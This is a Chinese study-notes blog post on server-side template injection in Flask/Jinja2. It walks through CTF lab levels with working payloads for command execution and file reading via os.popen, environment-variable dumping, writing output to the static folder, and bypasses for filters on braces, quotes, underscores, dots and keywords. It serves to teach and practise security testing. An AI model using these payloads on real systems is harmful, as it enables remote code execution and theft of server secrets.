ssti入门(原理介绍与常见绕过)
ssti学习笔记
SSTI 漏洞介绍
SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,发生在应用程序使用模板引擎渲染用户输入时未能正确过滤或转义用户提供的内容。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
模板注入流程
1.识别漏洞存在
使用这个漏洞的第一步当然是识别是否存在ssti漏洞
常见的stti漏洞一般都存在于跟用户输入有关的地方比如:欢迎用户进入、留言板之类的地方
2.确定模板引擎类型
第二步是确定模板的类型
可以通过下表做初步的判断
在初步判断中使用如下payload
{{7*7}}

3. 探索模板环境
这一步主要是收集配置环境信息以及判断是否存在过滤
如:
jinja2中使用如下payload可以获得基类
{{().__class__.__base__}}

使用如下payload可以获得Flask配置信息

4. 尝试沙箱逃逸(如需要)
为了安全,许多模板引擎会运行在一个“沙箱”环境中。这个沙箱旨在:
限制访问: 阻止模板代码直接访问底层的操作系统功能(如 os 模块、subprocess 模块、文件系统操作函数、网络套接字等)。
限制功能: 移除或禁用危险的函数、方法或对象属性。
控制环境: 只暴露一组安全的、预定义的函数和对象供模板使用(如字符串操作、数学计算、循环、条件判断等)。
沙箱的目标是让模板只做“视图层”的事情(展示数据、简单逻辑),不能执行任意代码或影响服务器状态。
沙箱逃逸就是利用模板引擎本身提供的(通常是安全的)功能、特性以及底层编程语言的反射(Reflection)、自省(Introspection)和对象原型链(Prototype Chain)等机制,一步步“探索”和“构建”出一条路径,最终访问到被沙箱禁止的危险功能或系统资源。
通过一个无害对象(如空字符串 '')追溯其类、基类、基类的基类...最终到达最顶层的基类(如 object),然后列出该基类的所有子类。这些子类包含了大量运行时加载的类,其中就可能隐藏着包含危险模块引用的类
5. 执行恶意操作
Jinja2 payload示例:
读取文件
{{lipsum.__globals__.os.popen('cat 文件 路径').read()}}
执行命令
{{lipsum.__globals__.os.popen('ls').read()}}
Jinja模板注入
Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}} 块
Jinja2使用 {{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
实例演示
从概念出发还是非常枯燥的这里我们用一个简单的列子ssti-flask-labs 的第一关来演示一下
因为是靶场所以不用判断是否存在ssti漏洞,也不用判断模板类型
ssti-flask-labs 的第一关没有任何过滤
在python中使用ssti的流程如下:
找对象 A 的类 - 类 A -> 找类 A 的父亲 - 类 B -> 找祖先 / 基类 - 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令
知识点:
- 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表
[]、一个字符串""或一个字典{}时,你实际上是在创建不同类型的对象。 - 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
- 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似
__class__的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。
拿基类
这里使用(),[],字符串之类都是可以的
{{().__class__.__base__}}
{{[].__class__.__base__}}
{{''.__class__.__base__}}



寻找子类
当我们拿到基类,也就是 <class 'object'> 时,便可以直接使用 subclasses() 获取基类的所有子类了

我们无非要做的就是读文件或者拿 shell,所以我们需要去寻找和这两个相关的子类,但基类一下子获取的全部子类数量极其惊人,一个一个去找实在是过于睿智,但其实这部分的重心不在子类本身上,而是在子类是否有 os 或者 file 的相关模块可以被调用上。

比如我们以存在 eval 函数的类为例子,我们不需要认识类名,我们只需要知道,这个类通过 .__init__.__globals__.__builtins__['eval']('') 的方式可以调用 eval 的模块就好了。
在面向对象的角度解释这样做很容易,对象是需要初始化的,而 __init__ 的作用就是把我们选取的对象初始化,然后如何去使用对象中的方法呢?这就需要用到 __globals__ 来获取对全局变量或模块的引用。
命令执行
能执行命令的子类有很多这里我们用os._wrap_close

这里我们用查找看一下大概位置(注意138不是os._wrap_close的具体位置因为在回显之前还有几个出现class的地方以及其他的class)

这里我们找到的位置是133

这里看到popen是能用的

执行命令

payload如下:
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
其实还有一个更简洁的版本
{{lipsum.__globals__.os.popen('ls').read()}}

在SSTI(服务器端模板注入)漏洞利用中,lipsum通常作为探测和利用的关键函数出现,尤其在Python的Jinja2模板引擎环境中。
lipsum是Flask框架中默认注入模板的全局函数(来自flask.Flask类),通过它可以访问Python的__globals__属性,这是SSTI利用的关键跳板
常见过滤与绕过
过滤大括号{
可以看见{{}}是被过滤了

被过滤的是这个双层的大括号,可以使用{%%}来进行绕过
{%%}主要就是jinjia模板引擎的语法标记,用于在 HTML 模板中编写逻辑控制语句
可用在里面运行print这个语句因为我们这里调用了全局函数lipsum
所以{%%}可以当作{{}}来用
所以这里就是把大括号换掉就行了
{%print(lipsum.__globals__.os.popen('ls').read())%}

过滤中括号[]

虽然[]被过滤了但是我们的payload是没有[]的所以我们直接用就行了
{%print(lipsum.__globals__.os.popen('ls').read())%}

过滤了单、双引号
这里我们知道是过滤了单双引号
所以我们可用直接使用request来绕过
注意这里的request不是python的库而是flask的内部函数
这里把request里的所有东西都展示出来
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
这里直接上payload
这里用的是第一个其它也大差不差
这里只需要把存在单双引号的地方换掉就可用了

过滤_
可以编码绕过 python解析器支持 hex ,unicode编码

payload:
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('ls').read()}}
过滤.
从我们之前的payload可以看出.在jinja模板中的ssti是非常重要的,我们之前展示的payload都有.
过滤了.就代表我们之前的payload都用不了了
这里我介绍两种绕过方法
第一种方法用[]代替.(前提是[]没被过滤)

ssti-flask-labs的第7关刚好只过滤了.正好演示用[]绕过

其实就只是把.后面的内容放进中括号里再用''包起来而已

payload:
{{lipsum['__globals__']['os']['popen']('ls')['read']()}}
然后我们来说第二种情况同时过滤了[]和.
这里我们假设该靶场禁用了[]和.
第二种方法用attr()绕过
在 Flask 中,attr() 是 Jinja2 模板引擎提供的一个内置过滤器(不是 Flask 特有的函数),用于动态访问对象的属性或字典的键。它的核心作用是在模板中处理变量名不确定或需要动态计算的情况。

payload:
{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("ls")|attr("read")()}}
可以看到payload大部分都只是把中括号和里面的内容改|attr("内容")除了|attr("get")("os")这一部分
|attr("get")("os")这部分是从全局字典中获取 os 模块(关键攻击跳板)因为原来的payload中.globals.os.popen('ls')是有多层嵌套的所以这里稍微有点不同
过滤关键字
过滤关键字看着很吓人但是绕过是非常简单直接用''进行拼接绕过就行

本关对很多关键字都进行了过滤但是我们直接用[]绕过再把''加在关键字的中间就可以了

无回显ssti
只会显示对不对,和SQL的布尔盲注感觉判断差不多

尝试写静态文件
在 Flask 中,静态目录(Static Directory) 是用于存储静态文件(如 CSS、JavaScript、图片等)的特殊目录,这些文件不需要服务器端处理,可以直接发送给客户端。
路径:项目根目录下的 static 文件夹
URL 访问路径:/static/
如:
project/
├── app.py
├── static/
│ ├── css/style.css
│ ├── js/script.js
│ └── images/logo.png
└── templates/

{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}
访问1.txt


code={{lipsum.__globals__['os'].popen(' ls >/app/static/1.txt').read()}}
再来个题目巩固一下
[Flask]SSTI
这到题是buuctf上的
根据题目的标题就可以确定是flask类型的ssti了
进来发现没有什么提示

直接用默认参数name

直接用我们的payload试试

看来这题是过滤了一些东西的

居然没显示CTRL+U看看

找一下os._wrap_close


找到了popen

执行一下命令

测试了一下发现flag在环境变量里

payload:
?name={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('env').read()}}
结语
能执行命令的模块有很多,不止是os._wrap_close还有warnings.catch_warnings等模块,只是因为os._wrap_close我个人用的比较习惯,大家可以根据个人习惯和题目的过滤情况来选择合适的模块
ssti也可以用脚本和工具进行自动注入,但是本文主要是记录ssti的原理和手注过程,大家可以再网上进行搜索
其实还有很多其他模板的ssti类型但是我目前写的比较多的都是flask jinja类型的,等我写到其他类型的题目再进行补充吧。
孩子们别忘记曼巴精神



浙公网安备 33010602011771号